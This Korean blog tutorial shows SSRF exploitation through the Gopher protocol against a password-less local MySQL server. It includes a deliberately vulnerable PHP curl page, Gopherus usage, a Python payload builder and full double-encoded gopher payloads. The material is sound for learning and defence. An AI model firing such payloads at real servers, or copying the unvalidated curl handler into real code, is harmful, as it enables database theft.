SSRF Gopher Protocol을 이용하여 MySQL 주입(SSRF Through Gopher)

2021-09-13

Gopher 이란?(rfc 1436)

Gopher(고퍼)는 가서(Go) 가져온다(Fer)으로 가서 퍼온다라는 의미를 가지고 있으며 미네소타 대학에서 다양한 일정을 쉽게 관리하기 위해 만들어지면서 시작되었는데요

이 Gopher(고퍼)는 웹이 개발되기 전 FTP, Telnet과 같은 다양한 인터넷 서비스를 이용할 수 있게 됐습니다.

하지만 HTTP가 개발되면서 대부분의 사용자들은 HTTP로 이용하게 되면서 Gopher은 현재 잘 쓰지 않는 프로토콜이라고 알려져있는데요

해당 Gopher(고퍼)를 이용하여 HTTP 요청, MySQL 연결, FTP 등 다양한 기능을 사용할 수 있습니다.

예시로 HTTP 요청의 경우 아래와 같이 80포트로 gopher 프로토콜을 이용하여 헤더를 생성하여 요청을 보내면 서버에서 Response를 받아 그대로 출력하는걸 볼 수 있습니다.

root@/var/www/html$ # GET / HTTP/1.1
root@/var/www/html$ # Host: localhost
root@/var/www/html$ curl gopher://127.0.0.1:80/_GET%20/%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0a
HTTP/1.1 200 OK
Date: Mon, 13 Sep 2021 14:47:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 13 Sep 2021 14:45:51 GMT
ETag: "17-5cbe1857b1730"
Accept-Ranges: bytes
Content-Length: 23
Content-Type: text/html

Hello Gopher Protocol!

또한 리눅스에서 nc와 curl을 이용하여 원하는 값을 전송할 수 있습니다.

Gopher curl to nc


SSRF Example

먼저 Gopher 프로토콜을 이용하여 MySQL 데이터베이스의 정보를 탈취하는 시나리오를 위해서는 SSRF 취약점이 발생할 수 있는 페이지를 만들었습니다.

index.php

<?php 

if(isset($_GET['url'])){
    $cn = curl_init();
    curl_setopt($cn, CURLOPT_URL, $_GET['url']);
    $result = curl_exec($cn);

    echo $result;
}else{
    echo "?url=https://www.google.com";
}

?>

hello.php

Hello CURL hello.php

이렇게 php-curl을 이용하여 요청할 수 있는 환경을 만든 다음 ?url=http://localhost/hello.php 를 넣어주게되면 해당 URL으로 요청하게 되면서 SSRF 취약점이 발생할 수 있게 됩니다.


Gopher을 이용한 MySQL 데이터베이스 정보 탈취

SSRF가 취약점이 발생할 수 있는 서버의 MySQL 유저의 비밀번호가 없는 경우 Gopher 프로토콜을 이용하여 MySQL에 연결할 수 있게 됩니다.

Gopherus 툴을 이용하여 URL 생성

Gopher 원하는 쿼리를 넣을 수 있는 URL을 생성하기 위해 Gopherus 툴을 사용할 수 있는데 사실상 밑에 있는 방법보단 이걸 이용해서 빠르게 생성할 수 있다.

사용 방법은 간단한데 아래와 같은 명령어를 입력한 다음 패스워드가 없는 유저의 이름을 적고 원하는 쿼리를 작성하면 바로 URL이 생성되는걸 볼 수 있습니다.

$ sh install.sh
$ gopherus --exploit mysql


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: root
Give query to execute: SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%32%00%00%00%03%53%45%4c%45%43%54%20%54%41%42%4c%45%5f%4e%41%4d%45%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%3b%01%00%00%00%01

gopherus tool

해당 URL을 가지고 SSRF 취약점이 존재하는 사이트에 아래와 같은 페이로드로 요청을 하면

gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%33%32%25%30%30%25%30%30%25%30%30%25%30%33%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34%25%32%30%25%35%34%25%34%31%25%34%32%25%34%63%25%34%35%25%35%66%25%34%65%25%34%31%25%34%64%25%34%35%25%32%30%25%34%36%25%35%32%25%34%66%25%34%64%25%32%30%25%34%39%25%34%65%25%34%36%25%34%66%25%35%32%25%34%64%25%34%31%25%35%34%25%34%39%25%34%66%25%34%65%25%35%66%25%35%33%25%34%33%25%34%38%25%34%35%25%34%64%25%34%31%25%32%65%25%35%34%25%34%31%25%34%32%25%34%63%25%34%35%25%35%33%25%33%62%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31

이렇게 MySQL에 SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES; 쿼리가 실행된 결과를 볼 수 있게됩니다.

gopherus url ssrf


네트워크 패킷 캡쳐하여 gopher://URL 생성


먼저 로컬에서 테스트를 하여 제대로 작동이 되는지 확인을 위해 SSRF 시도할 서버의 MySQL 유저의 비밀번호를 초기화 해야되는데


MySQL 비밀번호 삭제

다음과 같은 명령어를 이용하여 비밀번호를 없앤 다음

mysql> alter user 'root'@'localhost' identified with mysql_native_password by '';

MySQL에 연결하는 패킷을 잡기 위해 PHP 소스코드로 연결하고 원하는 쿼리를 전송하고


Wireshark MySQL Packet Capture


MySQL 연결

<?php 

$conn = new mysqli("localhost", "root", "");
$conn->query("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES");

?>

Wireshark Packet MySQL

Wireshark(와이어샤크)를 이용해 로컬의 MySQL Packet를 캡쳐하면 위의 사진과 같이 MySQL의 요청, 응답 패킷이 캡쳐된걸 볼 수 있습니다.


캡쳐된 패킷 우클릭 후 Follow->TCP stream

MySQL Packet TCP stream

캡쳐된 MySQL 패킷중 아무거나 눌러주면 되는데 괜히 헷갈리다가 삽질할 수 있으니 요청의 시작인 Login Request user=root 부분에 우클릭 한 다음 Follow 부분에 있는 TCP stream을 누르면


TCP stream의 ::1:50731 -> ::1:3306(149 bytes)를 눌러 요청된 캡쳐를 가지고 Show data as을 RAW으로 변경

MySQL TCP Stream REQUEST RESPONSE

위의 사진처럼 요청(빨간색), 응답(파란색)이 있는걸 볼 수 있는데 요청 패킷만 가져오기 위해서

TCP Stream ASCII Request

하단에 있는 ::1:50731 -> ::1:3306 (149 bytes) 부분을 눌러 확인하면

TCP stream RAW

이렇게 요청 값만 보이게 됩니다.

요청 값들을 URL으로 전송하기 위해 Show data as ASCII 부분을 RAW 으로 바꿔주면 아래와 같이 HEX로 인코딩된 데이터 값이 나오는데

TCP REQUEST RAW HEX Encoding

해당 HEX 데이터를 모두 복사한 다음 줄바꿈을 없애고 해당 python 코드를 실행시키면

def gopher_raw_data(payloads):
    payloads = [payloads[i:i + 2] for i in range(0, len(payloads), 2)]

    print("gopher://127.0.0.1:3306/_%{}".format("%".join(payloads)))

gopher_raw_data("5300000185a20a00000000c0ff0000000000000000000000000000000000000000000000726f6f740000006d7973716c5f6e61746976655f70617373776f726400150c5f636c69656e745f6e616d65076d7973716c6e6400000003310000000353454c454354205441424c455f4e414d452046524f4d20494e464f524d4154494f4e5f534348454d412e5441424c45530100000001")

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES; 쿼리를 실행할 수 있는 gopher URL이 나옵니다.

gopher://127.0.0.1:3306/_%53%00%00%01%85%a2%0a%00%00%00%00%c0%ff%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%15%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%07%6d%79%73%71%6c%6e%64%00%00%00%03%31%00%00%00%03%53%45%4c%45%43%54%20%54%41%42%4c%45%5f%4e%41%4d%45%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%01%00%00%00%01

이제 해당 URL을 SRF 취약저밍 터지는 서버 내부의 CURL에 그대로 전송하기 위해 double url encoding하면

http://localhost?url=gopher://127.0.0.1:3306/_%25%35%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%32%25%30%61%25%30%30%25%30%30%25%30%30%25%30%30%25%63%30%25%66%66%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%31%35%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%37%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%36%65%25%36%34%25%30%30%25%30%30%25%30%30%25%30%33%25%33%31%25%30%30%25%30%30%25%30%30%25%30%33%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34%25%32%30%25%35%34%25%34%31%25%34%32%25%34%63%25%34%35%25%35%66%25%34%65%25%34%31%25%34%64%25%34%35%25%32%30%25%34%36%25%35%32%25%34%66%25%34%64%25%32%30%25%34%39%25%34%65%25%34%36%25%34%66%25%35%32%25%34%64%25%34%31%25%35%34%25%34%39%25%34%66%25%34%65%25%35%66%25%35%33%25%34%33%25%34%38%25%34%35%25%34%64%25%34%31%25%32%65%25%35%34%25%34%31%25%34%32%25%34%63%25%34%35%25%35%33%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31

SSRF database tables list

이렇게 SSRF 취약점을 이용하여 gopher 프로토콜로 데이터베이스의 정보를 탈취할 수 있는걸 볼 수 있었습니다.


후기

SSRF 취약점을 이용하여 웹 페이지의 소스코드만 가져올 수 있는게 아니라는걸 알 수 있었습니다.